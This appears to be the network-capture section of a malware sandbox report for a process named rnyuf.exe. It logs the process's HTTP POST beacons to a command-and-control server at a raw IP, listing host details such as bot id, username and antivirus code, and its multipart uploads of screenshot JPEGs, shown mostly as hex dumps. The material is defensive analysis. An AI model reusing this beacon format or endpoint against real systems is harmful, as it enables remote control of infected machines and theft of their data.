Aug 29, 2021 22:27:42.514157057 CEST	8550	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:42.514182091 CEST	8555	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:42.547019005 CEST	8571	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:42.547178030 CEST	8592	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:42.547231913 CEST	8600	OUT	Data Raw: 8b 23 4b 57 3f bb 91 1b e8 e0 d3 0e 93 27 a3 81 ea 56 98 10 9e d5 66 18 6e 38 d8 5d 7e 87 15 0d ce 3d 4a 8c 94 b6 45 53 a5 cd fc 3b 4f d4 e2 98 da 65 d0 ff 00 96 4c 7d c5 6f c1 0d e1 c6 66 63 ec 79 ad 6b 68 2e 4e 32 a8 df 55 ac 27 8b 94 0e da 58 Data Ascii: #KW?'Vfn8]~=JES;OeL}ofcykh.N2U'XgS&3nk<=b}0`htvG'=$&MbS:fk s4eA~"5b)Y#sC$:Xl,\|Ju6t?;5dUgO
Aug 29, 2021 22:27:42.649260998 CEST	8628	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.4	49813	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:42.498218060 CEST	8529	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:42.570733070 CEST	8606	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.4	49814	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:42.782445908 CEST	8629	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:42.859319925 CEST	8629	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.4	49815	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:43.022821903 CEST	8630	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f467d4e70cc44d532fe453c2d3923e5 Host: 46.17.96.36 Content-Length: 111116 Cache-Control: no-cache
Aug 29, 2021 22:27:43.022887945 CEST	8630	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 34 36 37 64 34 65 37 30 63 63 34 34 64 35 33 32 66 65 34 35 33 63 32 64 33 39 32 33 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f467d4e70cc44d532fe453c2d3923e5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:43.023046017 CEST	8640	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:43.023099899 CEST	8642	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:43.057071924 CEST	8646	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:43.057182074 CEST	8668	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:43.089518070 CEST	8671	OUT	Data Raw: 9f 77 71 71 6f 32 4d 6e f6 d7 9e 46 d2 a7 38 6f 91 b2 09 c7 4d a7 af 3e 9d 15 6f ca f9 4c 29 db 9b 52 d9 87 42 d3 2d 2c 5f 53 8f 53 b9 96 fa 33 70 a2 da 54 84 43 06 f2 aa 48 64 6d ec 76 93 80 54 01 8e 4e 78 de b3 f0 6d 9c 71 3f db a1 d4 ae 23 5d Data Ascii: wqqo2MnF8oM>oL)RB-,_SS3pTCHdmvTNxmq?#]I%RXDq(($^`oDHHd1(ciSlo{%%f1mYMW;A+Wk:EO[?i!bmiG;TbAW]kZ$Piz
Aug 29, 2021 22:27:43.089668036 CEST	8674	OUT	Data Raw: 26 ac 4e 5b 73 ff 00 c0 aa 84 9a 5d e4 67 e6 81 ff 00 2a ea 85 68 cb 79 23 8e 71 a8 b6 4c ce 16 98 ea eb 4e fb 32 0e af f9 0a b0 f6 f3 29 c1 8d 87 e1 51 94 61 d4 56 c9 a7 d4 c9 b9 75 18 21 88 7f 78 d3 82 c6 3a 20 fc 69 40 a2 aa c8 8b b1 72 07 45 Data Ascii: &N[s]g*hy#qLN2)QaVu!x: i@rE1@Ci(!)Rd[zYkzzJhLe1f^\|^vPrBQKCv/+Oi^Y(z"'$ Ai6#wn_
Aug 29, 2021 22:27:43.089720964 CEST	8700	OUT	Data Raw: 4b de 81 0e fc 29 0d 19 a4 cd 00 2d 27 7a 51 4a 68 01 29 68 c5 14 c0 51 4a 29 05 28 a6 4b 16 8a 28 a6 21 d4 a2 9b 4e 14 d0 85 a5 a4 14 b4 c4 14 b4 94 50 48 e1 4e a6 53 85 50 98 ea 51 49 4b 54 26 2d 2d 20 14 b4 c9 1d 4e 14 ca 70 aa 24 75 28 a4 a5 Data Ascii: K)-'zQJh)hQJ)(K(!NPHNSPQIKT&-- Np$u($vyN)CLdSGS<,visLJ:,u:(Uvj sN6`d)i8SF)c@S4Rhi;g6))%$x(%
Aug 29, 2021 22:27:43.089864969 CEST	8718	OUT	Data Raw: c5 48 29 ad 84 c5 a5 14 94 a2 ad 10 2d 3a 92 8a 62 16 96 90 52 d5 08 29 45 14 84 e2 80 1e 0d 29 35 16 ea 51 96 34 ee 2b 0f 06 97 75 25 26 09 a0 5a 0e 06 9d 8c d2 05 a7 8a a4 4b 60 16 97 1c 53 85 3b 1c 55 d8 8b 8c 02 a4 55 e6 80 b4 fc 62 a9 22 5b Data Ascii: H)-:bR)E)5Q4+u%&ZK`S;UUb"[Sp)W MH&i0~)BH()qUb.7SOjv)S-NN)SNA76<[iMH\RS{S<!)*`(!%8GSA<A)vT)BR#-(.
Aug 29, 2021 22:27:43.122010946 CEST	8721	OUT	Data Raw: 51 bf 69 da dc 64 30 0c a4 8e 7a 8e b5 c4 d9 dc 91 f6 7a 7f ab 5f a0 a7 53 53 fd 5a fd 05 3a b8 8e 90 a2 8a 28 00 a2 8a 28 00 a2 8a af 7f 75 f6 1d 3a ea ef 66 ff 00 22 17 97 66 71 bb 68 27 19 ed d2 80 2c 51 59 de 76 b3 ff 00 3e 16 1f f8 1a ff 00 Data Ascii: Qid0zz_SSZ:((u:f"fqh',QYv>j;Y5@4Vw_Pk?aTEgyXk<g\|,?5hYv>j;Y5@4Vw
Aug 29, 2021 22:27:43.191549063 CEST	8741	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.4	49816	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:43.033591032 CEST	8643	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:43.113495111 CEST	8719	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.4	49817	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:43.265582085 CEST	8742	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:43.342721939 CEST	8742	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49743	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:11.887317896 CEST	1881	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:11.887548923 CEST	1881	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:11.887729883 CEST	1891	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:11.887804985 CEST	1894	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:11.920062065 CEST	1899	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:11.920171976 CEST	1904	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:11.920303106 CEST	1914	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:11.920396090 CEST	1919	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:11.953212976 CEST	1922	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:11.953578949 CEST	1924	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:11.953762054 CEST	1930	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:12.062664032 CEST	1988	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.4	49818	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:43.424482107 CEST	8743	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f467d4e70cc44d532fe453c2d3923e5 Host: 46.17.96.36 Content-Length: 111116 Cache-Control: no-cache
Aug 29, 2021 22:27:43.424577951 CEST	8743	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 34 36 37 64 34 65 37 30 63 63 34 34 64 35 33 32 66 65 34 35 33 63 32 64 33 39 32 33 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f467d4e70cc44d532fe453c2d3923e5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:43.424782038 CEST	8753	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:43.424891949 CEST	8756	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:43.457865953 CEST	8762	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:43.457917929 CEST	8776	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:43.457947016 CEST	8781	OUT	Data Raw: 0d c4 f6 d1 79 6a 4f 0a 58 2f 27 d8 67 3f 85 45 e2 7b 74 b5 f8 7d aa 5b a7 dd 8a c1 90 1f 60 98 fe 95 dd 64 9d ba dc 94 db 57 e9 63 e6 ca 28 a2 bd 13 80 87 53 ff 00 90 54 1f f5 dd bf f4 11 58 d5 b5 a9 ff 00 c8 2e 1f fa ee df fa 0a d6 35 03 0a f7 Data Ascii: yjOX/'g?E{t}[`dWc(STX.5/jx%{?_:\|Rb{wbB=?JO9us_yK391c2Nxm.$g .rut<(5U^~Zkv>
Aug 29, 2021 22:27:43.489548922 CEST	8784	OUT	Data Raw: 9f 77 71 71 6f 32 4d 6e f6 d7 9e 46 d2 a7 38 6f 91 b2 09 c7 4d a7 af 3e 9d 15 6f ca f9 4c 29 db 9b 52 d9 87 42 d3 2d 2c 5f 53 8f 53 b9 96 fa 33 70 a2 da 54 84 43 06 f2 aa 48 64 6d ec 76 93 80 54 01 8e 4e 78 de b3 f0 6d 9c 71 3f db a1 d4 ae 23 5d Data Ascii: wqqo2MnF8oM>oL)RB-,_SS3pTCHdmvTNxmq?#]I%RXDq(($^`oDHHd1(ciSlo{%%f1mYMW;A+Wk:EO[?i!bmiG;TbAW]kZ$Piz
Aug 29, 2021 22:27:43.489605904 CEST	8792	OUT	Data Raw: 26 ac 4e 5b 73 ff 00 c0 aa 84 9a 5d e4 67 e6 81 ff 00 2a ea 85 68 cb 79 23 8e 71 a8 b6 4c ce 16 98 ea eb 4e fb 32 0e af f9 0a b0 f6 f3 29 c1 8d 87 e1 51 94 61 d4 56 c9 a7 d4 c9 b9 75 18 21 88 7f 78 d3 82 c6 3a 20 fc 69 40 a2 aa c8 8b b1 72 07 45 Data Ascii: &N[s]g*hy#qLN2)QaVu!x: i@rE1@Ci(!)Rd[zYkzzJhLe1f^\|^vPrBQKCv/+Oi^Y(z"'$ Ai6#wn_
